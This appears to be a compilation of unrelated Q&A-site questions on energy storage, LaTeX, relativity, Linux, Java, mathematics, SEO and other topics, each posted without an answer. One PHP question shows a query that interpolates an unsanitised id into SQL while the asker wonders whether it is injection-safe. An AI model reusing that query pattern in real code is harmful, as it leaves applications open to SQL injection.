Why don't we think about battery storage for all sources of electricity on a utility scale instead of just renewables?

One of the repeating solutions that comes up when talking about renewable energy power generation and the intermittency of it is battery power storage.  This has got me thinking, it takes hours or days for gas and coal fire plants (and I assume other fossil fuel options) to fire up and so you essentially have to keep these going as power backups for renewables for when the wind doesn't blow or the sun doesn't shine.  This got me thinking, why isn't anyone talking about using energy storage for all sources? Specifically utility-scale solutions that can hold weeks or months of energy? I would think that such a solution could vastly reduce inefficiencies in all power generation as my understanding our traditional sources are quite wasteful and the energy is use it or lose it.  Maybe my understanding is wrong and quite frankly I am not sure what happens with excess energy that doesn't get used (I assume it is dissipated into the environment in some way).  It just seems to me that we could reduce costs and combine energy generation sources and need less of all sources if we can store all the excess energy we don't immediately use.  Edit (additional info): There is a lot of confusion about what I mean and intend here. First, the type of battery is not relevant to my thought process here. It could be pumped air/fluid/whatever storage as much as it could be Tesla's utility scale batteries. The point would be to store excess generated and potential energy more readily to reduce raw energy waste throughout the system.  My thought process is that fossil fuel plants don't simply turn it off and on. The oil/gas/coal keeps burning and turning a turbine, whether or not it is connected to a generator at the time or not. It takes time to turn it on and off and thus there is a lot of time that these fuels are burning and generating pollutants when they could just throw that energy that goes to the turbines which goes to the generator (if you let it) into a secondary storage that can be more readily accessible.  As my thinking continues, I suspect there is a ton of potential energy waste throughout our power generation systems. Whether it be those generators that could be generating (but would overload a system that is fully powered) or excess heat not being utilized or electricity that is (I am guessing) somehow dumped and not used.  If I am correct in my thought process then we could be storing that energy in some way, shape, or form instead of losing it. If we can store it and access it readily then we can reduce the need for so much power generation in the first place. I could be totally off base with some or all of my thinking though.


Tips for publishing draft manuscripts on arxiv

Some of you would probably know  the website .   I am working on some  papers and I was wondering if I can publish a draft of them on airxiv in order to receive some feedback and then submit a final version to a journal.   This could be useful also to publish draft of paper that I am not sure to have the time to finish.   I would like to know some advices on how to use or how don't use this site. I was also wondering how much does a publication on airxiv matter from a career point of view.


I logged in today and saw that 15 of my reputation points had vanished. When I opened the reputation tab, I noticed that even though at the top it showed -15, it didn't list exactly where or how my reputation went. Even the reputation counts for today and yesterday show nothing. Is this a bug of some sort?


I have a very simple problem. I want to display a simple php code in Latex using listings. For example  {goToPage('nextpage'); }   My problem is, that if I compile the code the apostrophs ' are displayed as ´ in the document. I can't figure out how to change this.  Here is the Latex Code I use:  \documentclass[12pt,a4paper,xcolor=dvipsnames]{article} \usepackage[utf8]{inputenc} \usepackage{amsmath} \usepackage{amsfonts} \usepackage{amssymb} \usepackage{listings} \usepackage[T1]{fontenc} \usepackage[usenames,dvipsnames,svgnames,table]{xcolor}  \lstset{ %     language=php,                     % the language of the code     basicstyle=\footnotesize,       % the size of the fonts that are used for the code     numbers=left,                   % where to put the line-numbers     numberstyle=\tiny\color{gray},  % the style that is used for the line-numbers     stepnumber=1,                   % the step between two line-numbers. If it's 1, each line     % will be numbered     inputencoding = utf8,     numbersep=5pt,                  % how far the line-numbers are from the code     backgroundcolor=\color{white},  % choose the background color. You must add \usepackage{color}     showspaces=false,               % show spaces adding particular underscores     showstringspaces=false,         % underline spaces within strings     showtabs=false,                 % show tabs within strings adding particular underscores     frame=single,                   % adds a frame around the code     extendedchars=true,      rulecolor=\color{black},        % if not set, the frame-color may be changed on line-breaks within not-black text (e.g. commens (green here))     tabsize=2,                      % sets default tabsize to 2 spaces     captionpos=b,                   % sets the caption-position to bottom     breaklines=true,                % sets automatic line breaking     breakatwhitespace=false,        % sets if automatic breaks should only happen at whitespace     title=\lstname,                 % show the filename of files included with \lstinputlisting;     % also try caption instead of title     keywordstyle=\color{blue},      % keyword style     commentstyle=\color{OliveGreen},   % comment style     stringstyle=\color{Purple},      % string literal style     escapeinside={\%*}{*)},         % if you want to add a comment within your code     morekeywords={*,...}            % if you want to add more keywords to the set }  lines=true} \lstset{framextopmargin=50pt,frame=bottomline} \author{Philipp Hubert} \title{SoSci Hilfe} \begin{document}     \begin{lstlisting}[language=php]     {goToPage('***');     }     \end{lstlisting} \end{document}   Thank you in advance.


Question about time dilation and relativity

Take this scenario for example:  I am on a rocket ship that will take a trip into space and back at 90% the speed of light. And my friend "Bob" stays on Earth. As soon as I leave Bob and I both start our clocks and stop them when I return. The Theory of Relativity would obviously state that my clock should be behind when I return to Earth because the faster you accelerate towards the speed of light, the slower time passes for you. But how can this be because according to my view inside the speeding rocket, Bob's time is passing exceptionally quickly compared to mine. So relative to me I am passing time normally while Bob is the one whose time is incorrect.  But at the same time, according to Bob's view, my time is passing very slowly while HIS time is the correct time. So relative to him he has the correct time while mine was wrong.   So my question is who's perspective do we know is correct? Now I know most will say both of ours are correct but if that is so wouldn't my slowed perspective and his "quickened" perspective just cancel each other out and NEITHER are correct because the rocket could have only taken one certain amount of time to leave and return?  Maybe I just can't get my mind to wrap around the concept of time dilation but to me it seems like it can't work. So could someone please explain why it can?


Insert an image bound by coordinates with tikz

I know that it's possible to place an image within a node at precise coordinates, and to scale the image:  \documentclass[10pt]{article} \usepackage{tikz} \begin{document} \begin{tikzpicture}[scale=3] \node at (1,1) {     \includegraphics[scale=0.3]{"image"} }; \end{tikzpicture} \end{document}   However, what I want to do is to choose a rectangle with coordinates and place an image to fit inside:  \documentclass[10pt]{article} \usepackage{tikz} \begin{document} \begin{tikzpicture}[scale=3] \node at (1,1) rectangle (4,4) {     \includegraphics{"image"} }; \end{tikzpicture} \end{document}   Thus, it can precisely be positioned relatively to other elements like lines.  Is it possible to do that?


I've got an external USB drive that is formatted with NTFS mounted on ~/tmp.  I can read it just fine, but cannot write to it, even as root (temp is a folder on the USB drive):  [root@Plugbox temp]# touch test touch: cannot touch `test': Permission denied [root@Plugbox temp]#   However, if I do a cat /proc/mounts, it looks like I do have NTFS read/write support:  [root@Plugbox temp]# grep /dev/sdb1 /proc/mounts /dev/sdb1 /root/tmp ntfs rw,relatime,uid=0,gid=100,umask=02,nls=utf8,errors=continue,mft_zone_multiplier=1 0 0 [root@Plugbox temp]#   Finally, if I go to the folder above temp, it looks like I should have plenty of permissions to write to the folder:  [root@Plugbox tmp]# ls -al total 61500764 ... drwxrwxr-x 1 root users           0 Apr 19  2010 temp ... [root@Plugbox tmp]#   What am I missing?


gstreamer bad plugin of file .dep are not allowing me to install any software

For any install in ubuntu  It is giving the same error. How can I remove all these gstreamer package errors?  The error is   installArchives() failed: dpkg: dependency problems prevent configuration of gstreamer0.10-plugins-bad: gstreamer0.10-plugins-bad depends on libdirectfb-1.2-0; however: Package libdirectfb-1.2-0 is not installed. gstreamer0.10-plugins-bad depends on libiptcdata0; however: Package libiptcdata0 is not installed. gstreamer0.10-plugins-bad depends on libjack0 (>= 0.118+svn3796); however: Package libjack0 is not installed. gstreamer0.10-plugins-bad depends on libmodplug0c2 (>= 1:0.7-4.1); however: Package libmodplug0c2 is not installed. gstreamer0.10-plugins-bad depends on libmpcdec3; however: Package libmpcdec3 is not installed. gstreamer0.10-plugins-bad depends on libmusicbrainz4c2a (>= 2.1.5); however: Package libmusicbrainz4c2a is not installed. gstreamer0.10-plugins-bad depends on libsoundtouch1c2 (>= 1.3.1); however: Package libsoundtouch1c2 is not installed. gstreamer0.10-plugins-bad depends on libssl0.9.8 (>= 0.9.8k-1); however: Package libssl0.9.8 is not installed. gstreamer0.10-plugins-bad depends on libwildmidi0; however: Package libwildmidi0 is not installed.  libgstreamer-plugins-bad0.10-0 (0.10.22.3-2ubuntu2.2) breaks gstreamer0.10-plugins-bad (<< 0.10.22.3-2) and is installed.  Version of gstreamer0.10-plugins-bad to be configured is 0.10.18-1ubuntu1. gstreamer0.10-plugins-good (0.10.31-1ubuntu1.2) breaks gstreamer0.10-plugins-bad (<< 0.10.21.2) and is installed.  Version of gstreamer0.10-plugins-bad to be configured is 0.10.18-1ubuntu1. dpkg: error processing gstreamer0.10-plugins-bad (--configure):  dependency problems - leaving unconfigured No apport report written because MaxReports is reached already Errors were encountered while processing: gstreamer0.10-plugins-bad Error in function:


Nautilus does not auto refresh after creating new files in directory

I have a python program that creates some .csv files in the same directory as the python script. I navigate the directory containing the script in nautilus and then run the program. The new files do not show up in the open nautilus window after the program ends. I have to press F5 to "refresh" the nautilus window for the new file to be listed in the directory. Is there any way I can have this happen automatically? Is this a feature or a bug?


how to save a JTable to text file through JFileChooser

Whenever i try to save a file i get     Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException   at java.io.Writer.write(Unknown Source) at   reu.FileMod.saveFile(FileMod.java:47)   my code so far      package reu;  import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException;  import javax.swing.JFileChooser; import javax.swing.JOptionPane;  import userInterface.TabOne;  public interface FileMod {      public static void saveFile() {          File file= null;          JFileChooser fileChooser = new JFileChooser();         fileChooser.setDialogTitle("Specify a file to save");          int userSelection = fileChooser.showSaveDialog(null);          if (userSelection == JFileChooser.APPROVE_OPTION) {              file = fileChooser.getSelectedFile();          }          BufferedWriter bfw;         try {              if(!file.exists()){                  file.createNewFile();             }              bfw = new BufferedWriter(new FileWriter(file));              for (int i = 0; i < TabOne.table.getColumnCount(); i++) {                 bfw.write(TabOne.table.getColumnName(i));                 bfw.write("\t");             }              for (int i = 0; i < TabOne.table.getRowCount(); i++) {                 bfw.newLine();                 for (int j = 0; j < TabOne.table.getColumnCount(); j++) {                     bfw.write((String) (TabOne.table.getValueAt(i, j)));                     bfw.write("\t");                     ;                 }             }             bfw.close();             JOptionPane.showMessageDialog(null, "Successful!");         } catch (IOException e) {             // TODO Auto-generated catch block             e.printStackTrace();         }     } }   The file gets created but empty.


Allow close votes on questions I've already flagged

Working on the review queue after I was granted the privilege, I don't see why I shouldn't be able to cast a close vote on a question I've flagged previously.    Please allow me to cast a close vote if I've flagged the answer previously.  Or count the flags as close votes? If so, then please don't show the questions in the review queue.


Google SERP ranks wrong URL for target keywords

I have [1] https://www.example.com/landing-1 ranking for "landing-1" keyword.  I have created [2] https://www.example.com/landing-2 page for "landing-2" keyword.  When I observed my rankings in google, the [2] page started ranking for "landing-1" keyword. How do I fix this?  Notes:   Sitemap is created correctly to differentiate URLs for Google Bot, has been submitted and crawled successfully. On-page optimization with respect to keywords on both landing pages have been done This issue occurs frequently when trying to create sub-pages or power-pages linking to the target landing page. I have gone through this answer "", not helpful or relevant for my scenario. I am looking for any possible fixes other than above, if any to not let my rankings drop for the main page. (When the sub-pages or power pages are created, the ranking shifts from the main landing page to the newly created page for a long period of time, which affects the traffic, lead flow and conversion.)


How to test the significant difference between two correlation coefficients?

Suppose I have three variables, $X, Y, Z$. And I am interested in knowing how $X, Z$ are correlated to $Y$. Suppose that $$ corr(Y, X) = a=0.6; \quad \text{and} \quad corr(Y, Z) = b=0.4; $$ My question is, is there a way to test the whether the two correlation coefficients are significantly different? Or am I going to the wrong direction when doing this?


How to enable auto change wallpaper in unity in ubuntu 13.04?

I am unable to find any feature to make the desktop wallpaper autochange after an interval. If there is, please let me know. If not, then is there any app for the same?


I would like to animate using only constant interpolation. I know that I can change the interpolation with "T" or going to Timeline<Key<Interpolation, but every time I add a new keyframe the interpolation is Bezier. How can I make it so every new frame is added with linear interpolation so that I don't need to keep setting new frames interpolation type manually? Thank you.


Count number of frequency of objects that have the same value

For example i have a list: ArrayList<Observer> arrlist = new ArrayList<Observer>();  The list contains the observer objects but i want to know the frequency of objects that have the same value for example String name     public class  Observer{     private String name; }  How do i do that?


Every question which I asked on stackoverflow I received a question that It was easy to do a php injection into my script.  I've now a example and checked some tutorials on youtube. Am I doing this right now? This is an example how I'm working now  if($user->isLoggedIn()) {     $pakuser = $user->data()->username;     $sql = $db->query("SELECT * FROM users         INNER JOIN post ON users.username = post.add         WHERE post.id = $id AND post.add = '$pakuser'")         or die(mysql_error());               if ($sql === FALSE) {      }     if($row = $sql->fetch_object())     if($row->add)     {                ?>
<a href="editpost.php?id=<?php echo htmlspecialchars($gooo->id);?>">edit this post

BEWARE OF DELETING YOUR CONTENT THERE IS NO GO-BACK
<a href="delete.php?id=<?php echo htmlspecialchars($gooo->id); ?>">Delete this post
 <?php     } }


Using existential quantifier to express "There is a $P$ that is $Q$"

The textbook says that to express "There is a $P$ that is $Q$", one can write the following preposition: $$ \exists x [P(x) \land Q(x)\ ] $$ However, I am unsure why I can't write like this: $$ \exists x [P(x) \rightarrow Q(x)] $$ For the case of universial quantifier, I have the opposite question. The textbook says "All  $P$ is $Q$" can be written as below: $$ \forall x [P(x) \rightarrow Q(x)] $$ and I am unsure why I can't write like this: $$ \forall x [P(x) \land Q(x)] $$ I do understand that $P \land Q$ and $P \rightarrow Q$ are different in that $P \rightarrow Q$ also accepts vacuously true. But I am curious why $\forall$ can  accept vacously true while $\exists$ cannot.


Radius of convergence of $\sum_{n=0}^\infty n!x^{n^2}$

The question is to calculate the radius of convergence of $\sum\limits_{n=0}^\infty n!x^{n^2}$.  I dont know how to calculate R.O.C for such type of questions involving $n^2$ as power of x. How do we do this? Any help appreciated.


I just got to this question and I became a question mark. I wonder if anyone can help me with this one, because I don't even know how to begin to tackle this problem.  The question:     Prove the formula $\sum_{k=1}^n k\binom{n}{k} = n \cdot 2^{n-1}$ for all   integers $n > 0$. We accept a proof based on manipulations of formulas   and do not demand a proof by mathematical induction here.   Hint: Write out the first few terms in the sum $\sum_{k=1}^n k\binom{n}{k}$ and factor out $n$. Then use the formula $\sum_{j=0}^m \binom{m}{j}  = 2^m$ that is valid for all non-negative integers $m$, particularly $m = n−1$.  Please help. I don't understand it.


18.04 Remove universal access icon from top panel

Brand spanking noob here! XD wanting to know how to remove the universal access icon from the top bar see:    Tried tweaks and turning off options in the settings/universal access.  wasn't sure what the terminal cmd would be. thanks  Ubuntu 18.04.4 LTS / Gnome 3.28.2  edit: previous answers included ->  Edit the file /usr/share/gnome-shell/js/ui/panel.js Comment out this line like so: //'a11y': imports.ui.status.accessibility.ATIndicator,  however when following this path the folder "js" (and other items onward are missing).


how to get MAC address using any browser with javascript

I have already tried java applet it gets MAC address but now i want do it using javascript I have an web app in which i want store user's MAC address using javascript. How i can find MAC address of user using any browser.


How to prevent VLC from automatically resizing its window according to viewed content resolution?

In a case of mine a very high (compared to the video stream) resolution graphical frame (saying "access denied" (when my IP changes)) can appear instead of a video stream, which makes VLC window to resize, getting bigger than my screen is. This annoys me. Can I set up VLC to never resize its window when I don't do it myself and resize content instead?


How should I read formulas using multiple variables with the same name?

I am reading computer science texts, which tend to include a lot of summations and set logic. In set logic, formulas commonly use a capitalized variable to reference a whole set, i.e. $\Omega$, and a lowercase variable to represent a given member, i.e. $\omega$. Given that, how does one read something like:  $$ 0\leq Pr(\omega)\leq 1\mathrm{\quad and \quad}\sum_{\omega\in\Omega}{Pr(\omega)} = 1 $$  Perhaps it's due to my [poor] command of math, but I tend to read this out loud to myself, and it's odd to say "The sum of the probability of omega, where omega is a member of omega..."


Is it necessary $A^TA =I$ if $AA^T=I$ where A is a square matrix?

Suppose if $AA^T=I$ where $A$ is a square matrix, is it necessary that $A^TA=I$?  I tried to google it but didn't find anything confirmatory.  In the same way if $AA^{-1}=I$, is it necessary that $A^{-1}A=I$?  My attempt it as follows:-  $$A=\begin{bmatrix} a&b&c\\ d&e&f\\ g&h&i \end{bmatrix}$$  $$AA^T=\begin{bmatrix} a&b&c\\ d&e&f\\ g&h&i \end{bmatrix}\begin{bmatrix} a&d&g\\ b&e&h\\ c&f&i \end{bmatrix}$$  $$AA^T=\begin{bmatrix} a^2+b^2+c^2&ad+be+cf&ag+bh+ci\\ da+eb+fc&d^2+e^2+f^2&dg+eh+fi\\ ga+hb+ic&gd+he+if&g^2+h^2+i^2 \end{bmatrix}$$  $$a^2+b^2+c^2=1$$ $$d^2+e^2+f^2=1$$ $$g^2+h^2+i^2=1$$ $$ad+be+cf=0$$ $$ag+bh+ci=0$$ $$da+eb+fc=0$$ $$dg+eh+fi=0$$ $$ga+hb+ic=0$$ $$gd+he+if=0$$  Now if we calculate $A^TA$, it would be   $$A^TA=\begin{bmatrix} a^2+d^2+g^2&ab+de+gh&agc+df+gi\\ ba+ed+hg&b^2+e^2+h^2&bc+ef+hi\\ ca+fd+ig&cb+ef+ih&c^2+f^2+i^2 \end{bmatrix}$$  Now can one say $a^2+d^2+g^2=1$ from the previous equations? I think not necessary. So by this exercise I doubt $A^TA=I$  I am not getting any idea for $AA^{-1}=I$


Let $f:[a,b]\to \mathbb{R}$ be twice-differentiable (i.e. $f'$ and $f''$ exist) on $[a,b]$ and $f'(a)=f'(b)=0$. Prove that there exists $c \in (a,b)$ such that $4\cdot|f(b)-f(a)|/(b-a)^2 \leq |f''(c)|$.  I guess the prove uses the mean value theorem but I cannot figure out how.


How to access vertex normals from a shape-key in Python?

I am experimenting with WebGL and I have a mesh that is animated via shape keys.  I can get access to the regular coordinates of the shape key pretty easily:  if bm.verts.layers.shape:     skd_json = {}     rval['shape_keys'] = skd_json     for skn, sk_l in bm.verts.layers.shape.items():         sk_v = [xyz for v in bm.verts for xyz in v[sk_l]]         #sk_vn = [xyz for v in bm.verts for xyz in ???]         sk_json = { 'vertices':sk_v,         #'vertex_normals': sk_vn         }         skd_json[skn] = sk_json   However, the mesh I want to draw is smooth shaded, so I want to get the vertex normals for each of the shape keys so I can do some basic Phong shading even when the model is deformed.  How can I access these vertex normals via the python API?


ACPI PPC Probe failed. Starting version 219 NVIDIA

I've recently updated to Ubuntu 15.04 and after installing the latest nvidia drivers (346.59) which worked on ubuntu 14.10 seems to have caused some trouble on boot.  All I get is the following when booting:   A purple screen for about a second and then  [0.514409] ACPI PPC Probe failed. Starting version 219  A black screen with a message of my monitor saying : No Signal detected.   I am using a GTX 970.


I have saved a style as qml file. I try to set the style for a raster layer in python directly. For this, I use function "loadNamedStyle". After the call, the color themes are updated in my model but the description text under the raster layer is still not updated. My question, how can I refresh the information?


I tried for a while to classifiy the singularities of $\frac{1}{z}-\frac{1}{\sin z}$ at the origin, but I am stucked. Is there someone who is able to help me at this point?


Adjectives and nouns to describe an answer that doesn't answer the question?

I've heard of the adjectives 'nonresponsive' or , but are they restricted to law^?     Collins Dictionary:  =       not responsive, not reacting to a stimulus   The definition above differs from the definitions of adjectives like 'equivocate,  evade' and nouns like , but these are negative and accusive; I prefer neutral connotation.  ^Only if you wish, please see: ,  by David Berg,  by Thomas A. Mauet.


How to get into Walker in the Wastes as a level 3 Wizard

I am building a Wizard character that focuses on using Greater Drought from the Walker in the Wastes prestige class.  The campaign is starting at level 12, so I need to figure out a way to build a Wizard 3/Walker in the Wastes 9.  I am planning on using Southern Magician and Extra Spell to get around the spell requirement, but I'm having trouble qualifying for Heat Endurance by level 3.  We are using a variant rule where, at every level divisible by 3, we get 3 feats instead of 1. At level 3, I'll have 1 feat from level 1, and 3 feats from level 3.  How can I build a character with 11 total levels of Wizard spellcasting and the Greater Drought Walker in the Wastes ability by level 12?  My current character sheet can be found .


I used to work with WFA but no I want to try the WPF platform, too.  I need to assign an existing bitmap to the image control.  private void Window_Loaded(object sender, RoutedEventArgs e) {     Bitmap sc = screenshot();     ima.Source = new Bitmap(sc);  }   this line just not working: ima.Source = new Bitmap(sc);  in picturebox it i can only use this  ima.Image = new Bitmap(sc);   but now its throwing an error:     Cannot implicitly convert type 'System.Drawing.Bitmap' to 'System.Windows.Media.ImageSource'.


Use JSON instead HTML for access denied on some custom paths

I create a small API for one project using Bathic Authentication. The API consists of some custom paths defined in routes in a custom module. Using JsonResponse() in the controller we send back a JSON object with data.  But in case the user does not have permissions to access the path the route gives back the 404 HTML page. How can I tell Drupal to return a JSON object for my API paths under every circumstances?  Another example: we defined just to accept GET in the route. Using POST will return a HTML error page - we want Drupal to send back JSON with error information.


An important lemma involving diverging sequences

Let $ \{a_i \}_{i \geq 0} $ be a sequence of positive reals such that $\sum_{i \geq 0} a_i := S$ exists and is finite. Define $S_i = \sum_{ j \geq i} a_i$. Prove that $\sum_{i \geq 0} \frac{a_i}{S_i}$ is divergent.  I tried a bunch of things like writing $b_i = \log \frac{a_i}{S_i}$ and working with that and using $-(1-x) \geq \log x$ or $e^x \geq 1+x$ but couldn't go very much further. A hint would be appreciated


How can my audio input always be the webcam microphone?

Each time I want to use Skype, I have to go in the sound preferences. And there, turn the audio-in to "webcam" and uncheck the "mute" button. It's quite annoying. Is there a way to always keep the same configuration ?


How long before I can re-enter the UK after Youth Mobility?

I complied with the rules by leaving after 2 years in UK and didn't overstay.  It's been 3 months since I exited UK. I flew to the Republic of Ireland and have been a tourist doing unpaid writing and photography for a blog.  My partner lives in UK and is working. He's currently applying for residency rights and was just sent letter saying he now can apply for a National Insurance Number.  I'd like to come back to the UK as a visitor and see him. I have also registered a company in the UK so I will need to see an accountant to do the company's first tax return.  How long do I have to stay outside UK before I can come back on a tourist or any other short category visa?  I am Australian.  We noted that while flying from Belfast to London there is no passport control. What's the penalty for entering Northern Ireland and flying to London from there? What happens when you don't get a temporary passport stamp?   I have no intention of staying long term. I'm just planning on doing the tax and seeing my partner.


How to check that a sequence of numbers is random?

I have a sequence of numbers  like 1,7,22,45,12,96,21,45,65,36,85,14,51,16,18,17,16....65...     IS there any formula to check whether the sequence is random or not ?   In my case   odd  numbers are not random since previous+2  even numbers are not random  the numbers can be repeated in a sequence but must be far away, we cannot generate the sequence using any formula like  (x+2)^2 -2x like...


I cannot use cd anymore when using it in a bash script   [~/Downloads] # cat cd-backward #!/bin/bash cd ..  [~/Downloads] # ./cd-backward [~/Downloads] #   I should move to ~ at the last line.  cd works perfectly in terminal strangely. Nothing happens also when I run bash -c 'cd Download for instance.


I have been getting a null pointer exception at the split statement. I have initialised all_data1 variable, which when using a split must be an array. Please suggest what am I doing wrong... This is the code for your reference...      test_cases = t_inp.nextInt();      //input test cases     for(i=0;i<test_cases;i++)     {          String all_data = "";          all_data = d_inp.readLine();          all_data1 = all_data.split("\\s+");          up_bnd[i] = Integer.parseInt(all_data1[i]);          lw_bnd[i] = Integer.parseInt(all_data1[i+1]);          Arrays.fill(all_data1, "");          System.out.println(up_bnd);          System.out.println(lw_bnd);      }


Suppose $0,0,1,0,0,1,0,0,1,...$ is a sequence. What is the general term of this sequence?

Let $$0,0,1,0,0,1,0,0,1,...$$ be a sequence. What is the general term of this sequence?


Why are browsers unable to send http requests, other than GET and POST, natively?

Basically, the title says it all. I've encountered this issue while reading about http requests in :     The other two verbs, PATCH and DELETE, are designed for updating and   destroying things on the remote server. These requests are less common   than GET and POST since browsers are incapable of sending them   natively, but some web frameworks (including Ruby on Rails) have   clever ways of making it seem like browsers are issuing such requests.       Why is there a need to hack around to issue, for example, a PATCH request? Why aren't browsers able to natively perform such kind of things? Am I missing something?      I've been searching around for quite a while, but couldn't come up with a clear answer to these questions. Thank you in advance.


I've a problem regarding font size of Ubuntu 16.04 LTS. Some of the text are so small are some of them are quite big. Can anyone tell me what is the normal and default font size of Ubuntu and how to set them on this OS using Unity Tweak Tool.   It will also be helpful if anyone can tell me how to restore the default ubuntu Font Size. Thank you.


Which of the following are quadratic integers in $Q[√−5]$?  EDIT: THANKS TO THE COMMUNITY FOR DIRECTING ME TO THE ORIGINAL QUESTION! I DID NOT KNOW THIS QUESTION ALREADY EXISTED ON MATH.SE  (a) $3/5$   (b) $2 + 3√−5$   (c) $(3 + 8√−5)/2$  (d) $(3 + 8√−5)/5$  (e) $i√−5$  Prove your result in each case.  Here's what I've got so far (I'm not even sure if this is half  right):  $\{1,i\sqrt{5}\}$ forms a basis for the field  $\mathbb{Q}(\sqrt{-5})$ viewed as a vector space over  $\mathbb{Q}$. We note that, $\mathbb{Q}\leq \mathbb{Q}(\sqrt{-5})$ Meaning, that the rationals are contained in this simple extension.  a)Yes, as just explained all rationals are contained in this field.  d)Yes, it is  $\frac{3}{5}+\frac{8}{5}\sqrt{-5}$ so if we select  $a=3/5$, $b=8/5$ in $\mathbb{Q}$ as a linear combination for  $a+b\sqrt{-5}$ then it works!  e)No, unless we are asking for  $i\sqrt{5}$.  I am having trouble on how to explain (b) and (c).


How to find the nth term of tribonacci series

I want to know the nth term of tibonacci series, given by the recurrence relation $$ a_{n + 3} = a_{n + 2} + a_{n + 1} + a_n $$ with $a_1 = 1, a_2 = 2, a_3 = 4$, so the first few terms are $$ 1,2,4,7,13,24,44, \ldots $$ I am more interested in derivation of how the nth term is calculated rather than direct comming up with black box formula.


$f$ holomorphic in $\mathbb{D}$ extends to Analytic function

I have the following question:  Prove of give a counterexample: Suppose that $f$ is holomorphic on $\mathbb{D}$ and continuous on its closure. Then, $f$ extends to a analytic map on $B_{(0,R)}$ for some $R > 1$.  I am really not sure whether the statement is true. I can't think of any functions that are analytic in $\mathbb{D}$ but not on the boundary, so it seems like the claim might be true. But, I do not know how to define the function outside of $\mathbb{D}$.


A closed form of $\sum_{n=0}^\infty\frac{n!!}{n!}$

It's fairly easy to see, using the ratio test, that the series  $$\sum_{n=0}^\infty\frac{n!!}{n!}$$  converges, where $n!!$ is the double factorial.  However, I'd be interested if there is a way of calculating its value analytically. I've tried around a little with WolframAlpha and I know that   $$\sum_{n=0}^\infty\frac{n!!}{n!}\approx 4.05941$$  Wolfram also suggests a couple of possible closed forms, which look very different. Since this sum is related to $e$ somehow, the following two are what I'd find most likely:  $$\sum_{n=0}^\infty\frac{n!!}{n!}=-8-e+2e^2$$ $$\sum_{n=0}^\infty\frac{n!!}{n!}=\Gamma(e+1)+e-2-\frac{5}{2e}$$  However, I have no clue if either of the two is actually correct, and if it were, how one would go about proving this result to be true - none of the approaches to series that I know seem to be getting me anywhere.     Is there a way to find a closed form for this series, and if so, how would one go about deriving it?


Is \textheight in beamer slides with a title wrong?

The problem I have is simple to describe: the height of a beamer slide title does not seem to be subtracted from \textheight, leaving me with no idea how much space is left for the actual content.  A quick example:  \documentclass{beamer} \usepackage{tikz}  \begin{document} \begin{frame}{Title} \begin{tikzpicture} \draw[red] (0,0) rectangle (\textwidth,\textheight); \draw[blue] (0,\textheight) -- (\textwidth,0)             (0,0) -- (\textwidth, \textheight); \end{tikzpicture} \end{frame} \end{document}     So, is this a bug, or am I using it wrong or misunderstanding it? How would I go on about with drawing the above rectangle with the correct height?


How can I maximize the "blurry background, sharp subject" (bokeh) effect?

I know that this effect occurs when there's a shallow depth of field.  My question is, what are the various ways I can increase this effect in my photos when I'm taking them?    Note that I'm not asking  how to use an editing program to achieve this effect after in post production or after the image is captured.


Failed to create symbolic link, what should I do?

When I enter the following command on a terminal session.  $ sudo ln -s /opt/utorrent-server-v3_0/utserver /usr/bin/utserver   It shows me the following message  ln: failed to create symbolic link ‘/usr/bin/utserver’: File exists   sudo ln -s /opt/utorrent-server-v3_0/utserver /usr/bin/utserver failed to create the symbolic link.  What should I do?


Forge Server-Cannot Assign Requested Address

I got my Forge server ready. My IP and everything, but it has this error:   [17:51:01] [Server thread/INFO] [FML]: Holder lookups applied [17:51:01] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]:  Loading properties [17:51:01] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]:   Default game type: SURVIVAL [17:51:01] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]:  Generating keypair [17:51:02] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]:  Starting Minecraft server on 192.***.***.***:25565 [17:51:02] [Server thread/WARN] [net.minecraft.server.dedicated.DedicatedServer]:  **** FAILED TO BIND TO PORT! [17:51:02] [Server thread/WARN] [net.minecraft.server.dedicated.DedicatedServer]:   The exception was: java.net.BindException: Cannot assign requested address: bind [17:51:02] [Server thread/WARN] [net.minecraft.server.dedicated.DedicatedServer]:  Perhaps a server is already running on that port?     I went to the CMD too and where should I get my IP from? I got mine from under my Default Gateway under Wireless LAN. Thanks!


Solve $\int \limits_{0}^{\infty} \frac{\cos(x)}{\cosh(x)} dx$ without complex integration.

Solve $$\int \limits_{0}^{\infty} \frac{\cos(x)}{\cosh(x)} dx$$ without complex integration.  This integral can be very easily solved with contour integration, but how can you solve it without taking a tour in the complex plane?


Why the memory consumption with and without __slots__ is same?

I was trying to understand use of slots in Python, so I created two classes, one with slots and one without it, then, I created about a million objects and print the size of both the objects:  >>> class Foo(object): pass >>> class Bar(object): __slots__ = () >>> foos = [Foo() for f in xrange(1000000)] >>> bars = [Bar() for b in xrange(1000000)] >>> import sys >>> sys.getsizeof(foos) 4348732 >>> sys.getsizeof(bars) 4348732   Surprisingly both the objects are of same size. So now I am confused why is it said that slots save memory ?  P.S. I tried this on Linux, Python 2.7  This is not duplicate of:   Here I want to know why the memory consumption in both the scenarios is same?


Let $f: (M,d) \rightarrow (N,\rho)$ be continuous and let $A$ be a separable subset of M. Prove that $f(A)$ is separable.  My idea is to take countable dense subset of A and then construct an open ball for its points and use the definition of continuity in a metric space to conclude that $f(A)$ is separable.   Kindly help me to provide a rigorous proof.  Thanks!


Should I change all the URL paths on my website to include keywords for SEO and should I rename my cart and checkout pages too?

I'm trying to make my site as SEO optimized as possible and have a question.   Do I change the name of my "cart.php" and "checkout.php" pages to have keywords in them?  For example, here's the current names of all my pages:   index.php about-me.php portfolio.php news.php store.php item-details.php cart.php checkout.php terms-and-conditions.php   Let's say that my name is Bob Doe and what I'm trying to sell is paintings.   Here is what I plan on renaming them to.   index.php about-me.php -> about-bob-doe.php portfolio.php -> portfolio-bob-doe.php news.php -> news-bob-doe.php store.php -> store-buy-paintings.php item-details.php -> store-painting-info.php cart.php -> Should I rename this? checkout.php -> Should I rename this? terms-and-conditions.php   Am I doing the right thing here?   Should I be renaming my pages? Will renaming "cart" and "checkout" make a difference?


Systemd - set service disabled by default

